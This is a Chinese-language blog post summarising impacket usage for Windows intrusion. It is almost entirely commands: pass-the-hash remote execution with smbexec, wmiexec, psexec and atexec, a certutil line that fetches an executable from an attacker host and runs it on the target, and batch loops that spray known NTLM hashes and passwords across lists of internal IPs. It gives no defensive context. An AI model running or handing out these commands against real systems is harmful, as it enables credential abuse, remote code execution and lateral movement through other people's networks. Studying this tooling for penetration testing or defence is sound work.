impacket的使用总结

impacket下载地址

exe版本下载地址
python版本下载地址

smbexec

./smbexec.py test/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 #左面是lm-hash,右边是nt-hash,lmhash可以为空
./smbexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected]
./smbexec.py test/administrator:[email protected]
在这里插入图片描述

wmiexec

./wmiexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/[email protected]
在这里插入图片描述

psexec

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/[email protected]

./psexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/[email protected] -c /root/1.exe
在这里插入图片描述

文件下载与远程命令执行

./atexec.py test/administrator:[email protected] “certutil -urlcache -split -f http://192.168.124.136/1.exe 2.exe”

./atexec.py -hashes :7ce21f17c0aee7fb9ceba532d0546ad6 test/[email protected] 1.exe

hash喷洒攻击

内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条
FOR /F %i in (ips.txt) do atexec.exe -hashes :3dbde697d71690a769204beb12283678 ./administrator@%i whoami
在这里插入图片描述

指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条
FOR /F %i in (hashes.txt) do atexec.exe -hashes %i ./[email protected] whoami
在这里插入图片描述
文件内部的hash格式应该为":nthash"或者"lmhash:nthash",如果只采用nthash切记加一个冒号":"
在这里插入图片描述

内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条
FOR /F %i in (passwords.txt) do atexec.exe ./administrator:%[email protected] whoami
在这里插入图片描述

指定主机密码遍历验证,ips.txt内容为内网ip,每段一条
FOR /F %i in (ips.txt) do atexec.exe ./administrator:123@%i whoami

在这里插入图片描述

制作黄金票据

请参看我的黄金票据的制作与使用这篇博客。

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/108253531